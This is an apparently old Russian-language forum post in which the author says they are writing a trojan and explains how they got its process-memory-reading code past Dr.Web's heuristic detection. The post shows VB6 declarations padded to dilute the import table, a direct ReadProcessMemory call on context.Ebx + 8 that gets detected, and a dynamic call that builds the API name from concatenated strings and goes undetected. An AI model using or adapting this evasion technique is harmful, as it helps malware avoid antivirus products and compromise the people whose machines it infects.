2 Flex:
Sorry - у меня такая привычка
.
Буду исправляться!
Да и напиши как-нить прогу -
ентри-пойнт модификатор.
Полезняшка выйдет!
--
Хух ... нервов потрепало
,
Я ещё троян не дописал -
а он уже детектится.
Во облом да? ...
И чё, - Дк.Вэб это оказываеться не на
ветер выброшеные деньги?
LOL!
Вопстчем - как я это решил ...
1. Обнаружил АПИ, к. доктор не переваривает:
ReadProcessMemory.
Что итнтересно - к WriteProcessMemory - он абсолютно равнодушен,
а вот ReadProcessMemory - его просто повергает в тихий ужас
.
Как её не объявляй -
Private Declare
Public Declare
... и в модулях и в классах и в контролах -
всё равно детектит (!).
2. Я попытался "разбавить" таблицу импорта введя 10 процедур
с подомным именем (5 - до по алфавиту, и 5 - после):
так:
Public Declare Function ReadPrinter Lib "winspool.drv" Alias "ReadPrinter" (ByVal hPrinter As Long, pBuf As Any, ByVal cdBuf As Long, pNoBytesRead As Long) As Long
Public Declare Function ReadFileEx Lib "kernel32" Alias "ReadFileEx" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpOverlapped As OVERLAPPED, ByVal lpCompletionRoutine As Long) As Long
Public Declare Function ReadFile Lib "kernel32" Alias "ReadFile" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As OVERLAPPED) As Long
Public Declare Function ReadEventLog Lib "advapi32.dll" Alias "ReadEventLogA" (ByVal hEventLog As Long, ByVal dwReadFlags As Long, ByVal dwRecordOffset As Long, lpBuffer As EVENTLOGRECORD, ByVal nNumberOfBytesToRead As Long, pnBytesRead As Long, pnMinNumberOfBytesNeeded As Long) As Long
Public Declare Function ReadProcessMemory Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function RealizePalette Lib "gdi32" Alias "RealizePalette" (ByVal hdc As Long) As Long
Public Declare Function Rectangle Lib "gdi32" Alias "Rectangle" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Public Declare Function RectInRegion Lib "gdi32" Alias "RectInRegion" (ByVal hRgn As Long, lpRect As RECT) As Long
Public Declare Function RectVisible Lib "gdi32" Alias "RectVisible" (ByVal hdc As Long, lpRect As RECT) As Long
Public Declare Function RedrawWindow Lib "user32" Alias "RedrawWindow" (ByVal hwnd As Long, lprcUpdate As RECT, ByVal hrgnUpdate As Long, ByVal fuRedraw As Long) As Long
Ну само собой я менял их местами и выносил в разные модули -
0 по фазе - детектит (!)
3. Попробывал её вызвать через динамический вызов -
без обявления явно - ТОТ ЖЕ РЕЗУЛЬТАТ!
Я оффигел - во Доктор даёт да?
Я честно не верил что он анализирует файл на наличие строки:
(я с трудом представляю КАК ТАК можно ловить вирусы 8-ХХХ)
Вот что в результате:
'-----------------------------< покусано >------------------------------
'Direct API Call: (Is Detected by Dr.Web)
'Call ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0)
'-----------------------------< покусано >------------------------------
;NOT Detected Mod:
Dim p1 As Long
Dim p2 As Long
'Dim K As String
Dim RPM As String
p1 = pi.hProcess
p2 = context.Ebx + 8
'Detected Calls:
'RPM = Trim(" ReadProcessMemory")
'Undetected Calls:
'RPM = "Read" & "Process" & Trim(" Memory")
RPM = Trim(" R" & "eadProcessMemory")
Call CallApiByName("kernel32.dll", _
RPM, _
p1, _
p2, _
VarPtr(addr), _
4, _
0)
'-----------------------------< покусано >------------------------------
Делайте выводы ...
Если честно - то экристика на высоте ...
.
--
Всем пасибо!
... Dpkjvfnm dc`xnj itdtkbnmcz, f tckb yt itdtkbnmcz hfcitdtkbnm b dpkjvfnm !!! ...